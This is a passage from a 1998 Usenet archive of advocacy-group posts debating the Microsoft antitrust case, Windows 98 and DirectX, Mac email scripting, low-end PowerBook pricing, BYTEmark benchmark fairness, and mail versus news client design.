> it wishes without violating Section IV(E)(i)..."
Specifically, that would seem to be the case. I don't see what more they
should pursue until a need arises, however. Personally, I think they
should be after (A), but prudence dictates that such an action is unlikely
without the product being willfully delayed until 2003. The DOJ might win,
after Windows has gone through two more revisions and had it's name
changed to protect the innocent.
> I have heard one consistent argument against Microsoft's arguments.
> That is Microsoft's interpretation of the "integrated products" phrase
> severly weakens this section's effectivity. This is true, but it is
> also true that the DOJ was more interested in "per processor" licensing
> then in this side issue. In short, I believe the DOJ agreed with Microsoft
> in 1994. They are now trying to fix that decision and rallying industrial
> and political muscle to support their bending of laws and district court
> rules.
I think they are interested in the bigger ruling, but realize that they
can get 80% of what they need for 20% of the effort by taking this route.
I'd prefer if they could go for the noble case, but fat lot of good that
would be if it took 5 years and MS had amassed considerable influence over
the direction of the internet.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 07 May 1998 00:12:00 -0800
Organization: UC Irvine
Message-ID: <rmcassid-0705980012000001@dialin33419.slip.uci.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net>
In article <6ir7p5$nt$4@ligarius.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
> And I don't believe you actually have to use IE if you don't want to. You
> can use Netscape if you want. In fact, an OEM can even preload Netscape on
> your new computer and add the Netscape icon to the desktop.
According to MS you do, because you cannot remove it and because critical
elements of the system supposedly require it.
A web browser requires almost no external API for full functionality. My
question (unrelated, I realize) is why couldn't MS simply publish a
browser API that should be adhered to for full system integration? Apple
and the unix market has been taking this approach for decades, and been
getting even *better* integration than MS.
Is nobody in Congress or the DOJ aware of what an API is?
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Thu, 07 May 1998 00:23:24 -0800
Organization: UC Irvine
Message-ID: <rmcassid-0705980023250001@dialin33419.slip.uci.edu>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net> <6io37n$hdg$1@new-news.cc.brandeis.edu> <rmcassid-0505981552450001@dante.eng.uci.edu> <1d8mxoz.1mamdaebboh62N@roxboro0-028.dyn.interpath.net>
In article <1d8mxoz.1mamdaebboh62N@roxboro0-028.dyn.interpath.net>,
phenix@interpath.com (John Moreno) wrote:
> Robert Cassidy <rmcassid@uci.edu> wrote:
>
> > Importing and exporting mailboxes is a pain in the ass, agreed. The filter
> > interface is a bit cluttered, but quite functional. Best of all, however,
> > is being able to trigger an AS with an incoming message or to schedule
> > execution of an AS. Nothing else I know of does this, and it is quite
> > wonderful as there is no provision for hooking into an OS level service on
> > the MacOS (which would be better, IMO).
>
> Schedule a execution of a an AS?
Oh yeah, it kicks ass. I used it to replace cron on a few of my machines
because it was just easier to use for my case.
> I've got a perl/AS script that grabs messages that go into my mailing
> list folder and puts them into a soup file for importing into MacSOUP
> and one of the things I've considered is to have the messages converted
> as soon as a connection is done - but I haven't figured out how to do
> it. As it is the script has to be run by hand and I tend to let it
> slide until I have 10-15 messagses (where it takes a minute or two
> because AS is dog slow).
Emailer has two functions that might be useful to you.
1) you can have a filter trigger the execution of an AS. The filter will
file, trash, reply to, whatever, a message and at the end run an AS so you
can then extend Emailers filtering capabilities. In your case, you could
filter by mailing list and convert those messages as they come through.
2) a schedule can either initiate a connection (in or out or both) *or*
execute an Applescript. You can set it up as timed or repeating so you
could have it fire off a few minutes or seconds after the connection goes.
The nice thing about it's scheduling is that you can turn individual
schedules on or off with a mouse click, which beats hacking up crontabs
for me. Plus you can ask a schedule to fire off at any time with a menu
selection, or you can fire off the AS from the scripts menu. Emailer is
really scriptable too, better than Eudora which is fairly brain dead in
comparison - though better than it was.
SpeedDoubler does wonders for AS performance, BTW. So does a G3, but the
former is a bit cheaper ;-)
> BTW - if anybody is interested the script (modified for working with
> Eudora) was recently posted to comp.sys.mac.comm.
I'll check it out.
-Bob Cassidy
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: Microsoft's Hypocrisy
Date: 8 May 1998 03:05:30 GMT
Organization: MiscKit Development
Message-ID: <6itspq$6cm$2@news.xmission.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net> <joe.ragosta-0605980812110001@wil124.dol.net> <6iq0ur$kkh$1@strato.ultra.net> <see-below-0705980451160001@209.24.240.68> <6it38j$fhc$1@gte2.gte.net> <35521108.667D@CONVEX.COM> <3552159A.F2105167@alum.mit.edu> <6itah4$1sd@bgtnsc03.worldnet.att.net> <6itf7g$6cm$1@news.xmission.com> <6ititg$iap@bgtnsc03.worldnet.att.net>
> I wrote:
> [Microsoft] _are_ the "new priesthood", like it or not!
"Hummer" <TheFirst.Hummer@worldnet.att.net> wrote:
> Oh, you're right. You hook your dumb terminal to a cable and
> then they tell you what you can access, what you can download,
> and when you can have it.
You know, you don't HAVE to be a smartass. There is a cure for
people like you.
> That is the definition of a priesthood.
Oh, it is, huh. OK. Fine.
> As it stands, I guess you call MS before you hook to
> the net or install Linux.
If MS had their way, you would. As it stands right now, I pay them for a
Windows license even if the PC I buy is going to run Linux and will never run
Windows. And they sure do make it easy to get onto the Microsoft Network.
Had they been allowed, that would have been the only ISP Win95 would connect
to. As it was, the little globe that connected new users to the Internet set
them up with MSN. (OK, a smart user could work around that, but MS did a
good job of drawing a lot of sheep into the MS fold.)
Even if they aren't a "priesthood" right now, by your narrow definition,
their past actions clearly demonstrate that they would like to be one.
They're certainly working very hard in that direction. After all, it is good
for the shareholders. Besides, what's the point of having a monopoly if you
aren't going to use it like the tool it is, to leverage your way into more
power? Why build up a great set of muscles if you will never get to flex
them?
> You should get a clue. They are the new main thing. That's all.
That's all, all right. Let them have their way, and you'll see just what
"main thing" means. I hope YOU like it. I watched what MS has done over the
past decades, and believe me, I have a clue all right... You obviously have
NO idea just how dangerous they are!
> Give the network pc a
> chance to take hold, and even getting to newsgroups will end up as
> regulated or fee-for-service type of game.
Give Microsoft what they want, and it will be EXACTLY the same thing you are
describing:
* you'll pay them for your OS
* you'll pay them for all your software
* you'll pay them to hook you to the net
* you'll pay them for everything you do on the net
But Microsoft has vision, too, so it will get better when they put Windows
into your TV, your car, and all your appliances. Maybe they'll just give
away the OS for free and ding your bank account every time you use a Windows
Device (TM). No more "buy it all up front". So much more economical. Just
like credit card debt, it will suck in a lot of people who don't know better.
Every time you open your fridge to get a snack, you'll hear a ka-ching! as a
little bit more of your loose change trundles off to Redmond.
Microsoft is the "main thing" all right. They want nothing less than total
domination. You're sound quite happy to give it to them. Why don't you just
transfer all your assets to Microsoft NOW and be done with it?
Really, do you honestly believe that MS is more benevolent than any of the
previous cabals that have held this industry in a stranglehold, for whatever
period of time? I don't believe it for an instant. They are in business to
make money, and you can bet that they will do everything they can to make as
much of it as they can.
<reason>
Realize that there's nothing wrong with making money, and by no means do I
wish to imply that any other company is going to be more benevolent than MS.
They aren't.
The problem is that we need things to be more balanced. If any one group is
completely in control, then it will start exacting its tribute, like any
other "priesthood". I don't want MS in control, and I don't want the NC camp
in control. I don't want any one group to be in total control, and I don't
necessarily want any of them to disappear, either.
I just want to see things more balanced so that these forces keep each other
in check--that is what will really bring us better prices, better software,
and more innovation to the users. The more powerful any one group gets, the
more likely they will leverage that power to make money while stifling those
things. (And, yes, in many ways I feel like MS has caused some stagnation
that didn't need to happen. Things are good right now, sure, but they COULD
be better.)
</reason>
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: "VHA PC Development" <codifex@airmail.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 8 May 1998 16:20:28 GMT
Organization: VHA Inc.
Message-ID: <01bd7a9e$16ff6660$8383050a@bgravitt.CORP.VHA.COM>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <01bd79d5$27ad36a0$8383050a@bgravitt.CORP.VHA.COM> <6ituld$pc3$2@ligarius.ultra.net>
John Saunders <jws@jws.ultranet.com> wrote in article
<6ituld$pc3$2@ligarius.ultra.net>...
> VHA PC Development wrote in message
> <01bd79d5$27ad36a0$8383050a@bgravitt.CORP.VHA.COM>...
> >- snip (you wrote, I wrote etc...)
> >> >> I'm going to run right out and buy stock in CompUSA - a company
which
> >can
> >> >> drop millions of dollars and not be hurt by it. Hey, people, I said
> >> >"hurt",
> >> >> not "devastated".
> >> >>
> >> >
> >> >Most advertising is tax deductible. CUSA's drop of millions of
dollars
> >was
> >> >a risky investment as investments usually go. They may be wounded
for a
> >> >quarter maybe though I'll give you that.
> >> >
> >> >Let me ask you some questions...
> >> >
>
>
> [snip]
> >> Why would Microsoft have to urge a computer store to make money?
> >
> >What the heck do you think marketing is? Hmm?
> >
>
>
> I asked why they would _have_ to, not why would they _want_ to.
They don't _HAVETO but why do they do it? They _WANTTO. In this
particular instance, have to and want to can be considered to be analogous.
Most companies advertise and promote because it is good for their product.
Also, the clever ploy or decision to make this or that accessible or
available can have an impact on competition.
For example:
Why would MS pay perfectly good money to create a web browser and give it
away? Makes no sense at first look - look a little deeper though. They
want to take control of the Internet. IIS is free too isn't it? This
software is free not because they are trying to help the industry but
because they are trying to kill their competition - Netscape. Look again
at all the MS proprietaryware designed for Internet/LAN use - ASP, ADO,
DCOM etc.... Those aren't free because there aren't any real competitors
in these areas; INPRISE formerly Borland is moving in though. ASP is
designed to kill everyone else's Web server technology and bring it around
to MS proprietary standard. ADO is MS speak for we'll handle all the
details so you don't need anybody but us for your data needs. Clever.
DCOM is a good idea but is still too buggy to be of any great use. Also,
it's designed to kill an industry standard called CORBA.
>
> >> I believe Windows98 does include a few things not in OSR2, the new
disk
> >> defragmenter for instance.
> >>
> >
> >Which does what that the old defragmenter couldn't do? Look prettier?
> >
>
>
> Puts frequently-used programs at the beginning of the disk, I believe.
Wonderful - and how is this to seriously impact disk access? Not a whole
lot.
>
> John Saunders
> jws@jws.ultranet.com
>
>
--
=======================================
codifex@airmail.NOSPAM.net
bgravitt@vha.NOSPAM.com
=======================================
My opinions are mine alone - though others may borrow...
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 8 May 1998 16:41:33 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6ivcjt$jen@newsb.netnews.att.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6itule$pc3$3@ligarius.ultra.net> <6iu283$qsv$1@interport.net> <6iucgn$otf$2@strato.ultra.net>
Originator: gupta@tlctest
John Saunders <jws@jws.ultranet.com> wrote:
>
>And my whole point here comes down to my fear that the Microsoft case will
>not be seen by a jury any more than the Tobacco case was. I'll respect a
>jury's verdict on Microsoft or on Tobacco, not because I think juries are
>some magical entity (I've served on one, so I know), but because we have no
>real choice but to respect a jury's verdict - whether or not we agree with
>it.
Well, nothing prevents the cases from going to trial in the Tobacco
case, and in the Microsoft case.
Since the tobacco companies feel that they are likely to lose more
if they go to trial, they are willing to settle. This you happen
to call "extortion".
-arun gupta
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Fri, 08 May 1998 09:50:47 -0700
Organization: Digital Universe Corporation
Message-ID: <355337E7.AB397170@alum.mit.edu>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Steve White wrote:
> In article <35522293.731DC4F3@alum.mit.edu>, Eric Hermanson
> <eric@alum.mit.edu> wrote:
>
> > http://cnnfn.com/digitaljam/9805/05/gates/index.htm:
> >
> > "Another supporter called on by the software giant was Gregory
> > Mankiw, professor of economics at Harvard University, who said the
> > government's attempt to delay Windows 98 'would throw sand into the
> > gears of human progress.'"
> Needless to say, I am keenly interested in a detailed explanation from you as
to> how postponing the release of Windows 98 would 'throw sand into the gears of
> human progress'. Please also compare and contrast the reprocussions of a
> Justice Department delay of Windows 98 with the reprocussions of Microsoft's
> self-inflicted several year delays in the release of both Windows 95 and
Windows
> NT 4.0.
> Just goes to show you that Harvard doesn't necessarily guarentee a quality
> education.
Actually, MIT might not guarantee a quality education either..... I spelled
'repercussions' wrong in my original post. It's 'repercussions', not
'reprocussions'. DOH!
Anyway, for all those interested, here is Dr Mankiw's 'cop-out' response to me
via email:
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Thu, 7 May 1998 17:17:09 -0400 (EDT)
From: "N. G. Mankiw" <ngmankiw@fas.harvard.edu>
To: Eric Hermanson <eric@alum.MIT.EDU>
I have no opinion about Windows 98 or any other operating system. My
remarks were about the government's pending decision to replace with the
free market's judgment with its own. I am not an advocate for Microsoft.
I am an advocate for an unfettered market economy.
From: "Pinochet" <9grayhome9@00sprintmail0me0.com>
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Fri, 8 May 1998 11:49:31 -0500
Organization: BOB
Message-ID: <6ivd14$nj8$1@newsfep2.sprintmail.com>
References: <gmgraves-2604981232290001@sf-pm5-2-66.dialup.slip.net> <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <6iljjf$etu$1@newsfep4.sprintmail.com> <354F4C4F.3C93@zvw._REMOVE_THIS_de> <6ingl7$f7$1@newsfep1.sprintmail.com> <3550A11D.7A@zvw._REMOVE_THIS_de> <6iq6mm$e4g$1@newsfep1.sprintmail.com> <3551DE2B.1967@zvw._REMOVE_THIS_de> <6isol3$4h2$1@newsfep4.sprintmail.com> <355341E6.5AE9@zvw._REMOVE_THIS_de>
Rolf Magnus wrote in message <355341E6.5AE9@zvw._REMOVE_THIS_de>...
>Pinochet wrote:
> > > > MAYBE. Depends on which version of DirectX the game uses, and
> > > > if MS doesn't come up with a patch for DX6 on 95...
> > >New games will most likely use dx6
> > New games AFTER DX6 comes out.
>Yes. But on which os?
Hopefully both of them...those hopes are, of course, supported by MS
stated plans, so its not a great leap of faith.
> > >and I doubt that dx6 will be fully supported on 95
> > Your doubts are not certain however...try to remember that.
>My doubt is based on the marketing strategies I see from Microsoft.
>It's not certain, but likely.
I consider it unlikely based on a couple reasons:
One MS has made drivers fully interoperable between NT and 98.
Two MS intends to kill off the 9X line'
Three MS is doing its best to ensure FULL DirectX compatibility on
NT5 and Windows 98.
> > >So Microsoft will develop DX6 on NT, but then release it on W98
>first? Why?
> > Probably because MS intends to switch everything to the NT Line
> > after this last version of the Win 9x line.
>That's not a reason to first release DX6 on W98 only, although it also
>would work on NT.
Huh? Um, the only reason DX6 will only be on W98 for ANY period,
(If it indeed happens, which isn't certain), will be because NT5 has yet
to be released.. That's the ONLY REASON.
> > > > Will you? Only if DX6 isn't ported to your current OS.
>Entirely possible, but not certain..
> > >Do you really think Microsoft didn't see this? They will use some
>tricks to make new games incompatible to 95. You will see this for sure!
> > I'd rather be optimistic. And in any case, it won't be entirely
>Microsofts fault, some of it will belong to the developers of the games.
>
>I am sure that win98 will offer some new features for games that are
>needed to write a cutting edge game and that are not, or at least
>very hard to do in win95.
So you're saying MS SHOULDN'T improve its products? Gee, thanks,
I like that. Maybe we should go back to DOS 1.0 while we're at it.
Question: Have you ever read Ayn Rand's _Anthem_ ? You might find
it interesting...its a short book, so it shouldn't take to much of your
time.
> > > > Nope. You can buy NT5, or 98 either one, as MS fully intends
> > > > DX6 to run well on both.
> > >Like on 95 and NT4? DirectX on NT4 is CRAP.
> > Irrelevant. And don't you think that MIGHT be a factor in why the
> > work is being done on NT5 first?
>It's NOT irrelevant that Microsoft does not care about the users of
>their current OS,
Untrue. MS does care, that's why you can get patches for the above
OS, ain't it ?
>but develop new things on an OS that comes out in the y2k or so.
NT5 will come out in late 1998 or early 1999, unless delayed because
of unforseen difficulties.
> > >Do you believe in Microsoft?
> > Yes believe Microsoft exists...and I believe they will usually report
> > the truth to me and others, and that when others substantiate these
> > reports, I can trust them even more.
>I also believe Microsoft exists, but that's all I believe about them.
Good for you.
>They do NOT tell the truth to you and others (to anyone?)...
So MS always lies? Now you know that ain't true. And the truth can be
found out, even is MS does cover it in PR and flack.
> > >Ok, this may be correct. But they could do some version of DX6 that
> > >is not able to support the hardware, by leaving out some important
> > >features. (Like the 3d hardware support on DX for NT4)
> > They could, but they probably won't....in fact they've said they
>won't.
>I want to see it to believe it...
Fine. Just wait for the products to come out.
> > >M$ will find another way to get your money.
> > Yes, they'll sell you an OS based on the NT kernel.
>That would be ok, but there sure are some secret plans...
Of course, you can't imagine MS will give out everything...they do
have competitiors, whether you believe it or not.
> > >Sorry, I don't have any statistics, it was only my oppinion.
> > Well, then please represent it that way...or as your own experience,
>or something else...not a proven conclusion.
>This does not have to do something with newsgroups are whatever
>groups you meant. IMHO, it is as general tendency.
Not in my experience. Relate it as YOURS, that's all I ask.
> > > It seems that nearly everytime I hear about Microsoft or about
>Windows, be it from my friends, in the University where I study (computer
>engineering), at work, on the web,... it seems that everywhere there are
>complaints.
> > Complaints don't equal hatred, for example I complain about my Amiga
>500 all the time, but I wouldn't throw the old girl away, even if I do
>have a better choice right next to it...
>So you love Windows like you love your Amiga?
Did I say that? No, I didn't. I merely said complaints don't always equal
hatred, and provided an anecdotal example.
> Or do you think that there are more people that love Windows like you love
>your Amiga than people that hate it?
One doesn't have to love something to not hate it.
> > > Don't you experience the same?
> > Not a general level of hatred. Nor all that many complaints about
> > Microsoft, as opposed to problems with the OS and programs..
>Now, the complaints about the OS and the programs from Microsoft are not
>of the kind of your complaints about your Amiga.
How do you know? Have you been listening to my conversations? When
did you start examining my life?
> Maybe there are not *yet* so many people that complain about M$, but many
>that complain about Windows or Office97 or whatever.
Of course....there are plenty of Windows/Office(anything users), but just
because they complain with something goes wrong does NOT mean they hate
that software.
>And if you once have to write something with winword98 and then, after
>severalhours, you are at last ready, it refuses to save your work, then you
>*will* hate it.
No, I won't. I'll say "Stupid piece of shit, why aren't you working?" but I
still won't hate it.
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: Fri, 8 May 1998 10:01:06 -0700
Organization: University of British Columbia
Message-ID: <1d8p8e2.14z9x3g1sihky4N@p002.intchg2.net.ubc.ca>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net>
Barry Twycross <Barry@netbox.com> suggested:
> Take the eMate form factor, transparent and green, and light (4lb, light
> than my Duo, yeah!). It'd have to have a larger screen, a 12" 800x600 would
> do, an option of active matrix would be nice, but difficult to make at the
> $999 price point.
There's a large potential market for a seriously stripped-down,
ultra-bottom-of-the-line model, too.
Students, writers, journalists -- perhaps almost everyone who can type
-- are waiting for a cheaper eMate, in effect a super-rugged,
lightweight word-processing notebook with file-transfer capabilities and
long, long battery life.
The eMate with a very slightly larger keyboard would have been ideal and
sold like hotcakes at a truly mass-market price around US $350,
_without_ the handwriting recognition, drawing capability, etc. At US
$700 it was an eccentric and seriously overpriced glamour-toy, but still
had many devoted admirers.
As it is some journalists are still using the old TRS-80, a positively
archaeological artefact, simply because no-one has yet managed to supply
the super-rugged, diskless "portable typewriter" appliance of the 90s.
--
Bruce Bennett
From: macghod@concentric.net
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: 8 May 1998 17:13:10 GMT
Message-ID: <6ivef6$ntb$1@newsfep2.sprintmail.com>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net>
Mime-Version: 1.0
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Cc: Barry@netbox.com
In <Barry-ya02408000R0705982252550001@nntp.netgate.net> Barry Twycross wrote:
> In article <6it738$ceg$1@newsfep4.sprintmail.com>, macghod@concentric.net
wrote:
>
> >So from $2000 and up, Apple ROCKS! Now I ask APple to be even bolder!
> >$999 powerbook 3400 180 with dual scan screen,48 megs ram, 2 gig hard
drive,
> >2 megs vram, floppy(modem, 10 base t optional)
> >$1599 3400 200 with active matrix, 48 megs ram, 2 gig hard drive, 2 megs
> >vram, floppy (modem, 10 base t optional)
>
> Steve Jobs did say they were planning a consumer level portable to be
> introduced in '99. There are also rumours going round of a Mac in the eMate
> form factor. Cross that with the iMac and what do you get?
Well I am talking about something NOW!! Not 1999.
Right now APple needs something in the low range for powerbooks. Their mid
and high range cant be beat. The 3400 has already been tested (except not
with a dual scan screen), put it back out NOW at those prices above. Put a
dual scan on a 3400 180 and charge $999 for it, and put a 3400 200, the same
as what WAS sold, with 48 megs ram, 2 gig hard drive, sans modem and
ethernet, and charge $1599 for it.
They should do this NOW, actually more like YESTERDAY. Not 1999, the above
models would be a awful price/performance for 1999
--
Running on Openstep 4.2, the best os in the world, and about to get better!
Mac/openstep qa work desired, email me for resume
NeXTMail and MIME OK!
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
Date: 8 May 1998 17:29:08 GMT
Message-ID: <6ivfd4$ntb$2@newsfep2.sprintmail.com>
References: <6iovd2$f0c$2@newsfep3.sprintmail.com> <djboccip-0605981313420001@qburst.msfc.nasa.gov>
<6iqh48$p4t$2@newsfep1.sprintmail.com> <joe.ragosta-0805981110530001@wil126.dol.net>
Mime-Version: 1.0
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Cc: joe.ragosta@dol.net
In <joe.ragosta-0805981110530001@wil126.dol.net> Joe Ragosta wrote:
> In article <6iqh48$p4t$2@newsfep1.sprintmail.com>, macghod@concentric.net
wrote:
>
> > Up to a couple of weeks ago, their were 2 binaries under powerpc, one was
> > labeled codewarrior, I forget what the other was. Neither gave a score
> > anywhere near what apple got. Apple used moto 3.0. NOW!! BOth of these
> > binaries are gone, and a moto 3 binary is in its place, surprisingly
enough
> > it NOW uses the compiler that apple tweaked to get the 9 score.
>
> For about the one hundredth time, what evidence do you have to indicate
> that this is a "tweaked" compiler? It's a Motorola compiler and Byte chose
> it. I could understand some concerns about the MrC compiler (but only if
> you drop all the Intel Reference Compiler scores). But you haven't
> provided a shred of evidence that Byte is biased and using unfair tests.
THe proof was on Apple's web page, and others verified what I said. Apple
admitted THEY did the test, with their own engineers in their own lab. Since
you know ZERO about programming you dont understand what is meant by tweaking
the compiler.
IF intel did the test in their lab, they would do any and every optimization
to tweak the compiler into getting better results. You still havent answered
the following:
if one week their were two binaries on the byte web page, one which gave a p2
300 a 5.54, and another which gave it a 7.54 (see eric bennets web page for
confirmation), THEN intel did a test in ITS OWN LAB WITH ITS OWN ENGINEERS,
USING A DR OF A COMPILER VERSION WHICH BYTE HAD NEVER USED, AND INTEL GOT A
SCORE OF 9.1, would you not think thats fishy?
Furthermore, consider this from the faq:
Have you "tweaked" results to favor either Pentium or PowerPC processors?
No. In fact, the BYTEmark executables we've used to test both have been
constant and unchanged for two years. Despite repeated attempts by
manufacturers to "break" them, they©ve produced remarkably consistent results
from processor to processor.
They claim the bytemark executables have been constant and unchanged for two
years, yet, on april 6 the deleted the 2 executables that produced low scores
for macs, and replaced them with what apple used to get a high score.
If the same thing occured and it was intel and not Apple, EVERYONE here knows
exactly what you would say.
--
Running on Openstep 4.2, the best os in the world, and about to get better!
Mac/openstep qa work desired, email me for resume
NeXTMail and MIME OK!
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
From: phenix@interpath.com (John Moreno)
Message-ID: <1d8nl27.1biqyk61nk71kqN@roxboro0-028.dyn.interpath.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net> <6inu0b$cet$1@crib.bevc.blacksburg.va.us> <6infcq$c0h$6@ns3.vrx.net> <1d8kucf.12204btjdfhlmN@roxboro0-036.dyn.interpath.net> <6ip7tl$oum$7@ns3.vrx.net> <1d8lw3a.1br6d9716oa6kgN@roxboro0-062.dyn.interpath.net> <6iqsmp$h86$1@cronkite.cygnus.com> <6irrnu$r1i$1@ns3.vrx.net>
Organization: phenix@interpath.com
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: never
Date: Thu, 07 May 1998 14:16:10 GMT
NNTP-Posting-Date: Thu, 07 May 1998 07:16:10 PDT
Maury Markowitz <maury@remove_this.istar.ca> wrote:
> In <6iqsmp$h86$1@cronkite.cygnus.com> John Rudd claimed:
>
> > With a mail message to a list, you know for a fact that there is a
> > finite set of people who will recieve the initial message. It is not
> > necessarily deterministicly finite (ie. addresses can themselves be
> > lists or aliases for multiple users)... but as long as none of the
> > recipients is a news gateway, you know that the number of recipients is
> > a specific finite set.
> >
> > You have no such knowlege at all about news. News can be read by any
> > person at any point in time (assuming ubiquitous access to Usenet, and
> > infinite lifetime of posts).
>
> I think the thread has now outsmarted itself. Again I can see abolsolutely
> no reason why this suggests the editors should be different.
It's not the editors (as in the composing window) that need to have a
hugely different interface. But there still needs to be different
commands for creating that window, and then the interface for filing
both the incoming and outgoing messages need to be different.
> > This difference makes for very different conceptual types of
> > conversation. Mail is to a closed discussion, and news is a soap box to
> > anyone who wants to listen (or speak).
>
> Balogna. Mail lists are a system for "small distributed newsgroups", a
> system that is starting to pass over to dedicated nntp servers. For instance
> Borland used to have mail lists, but killed them and now runs a server.
>
> Moreover NNTP is fullay capable of handling both "closed groups" via
> authenticated (password login) systems, and small scale distribution. Again
> the fact that it's not commonly found being used this way is likely a side
> effect of less-than-capable readers and not due to some fundamental
> difference in the mechanisms.
No, it is the fundamental difference in the mechanisms - mail is a push
technology, while news is a pull. And that goes right along with the
difference in the number of recipients.
I could of course set up a newsserver for myself and then have different
groups for each person I wanted to talk to, I could probably even rig it
so that each person could only access the newgroup used for talking to
them - but then they'd have to check to see if I had new messages for
them. Which most of them would never do.
News is a soap box, mail is knocking on your door and saying I need to
talk to you.
The conceptual differences NEED to be kept clear.
--
John Moreno
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
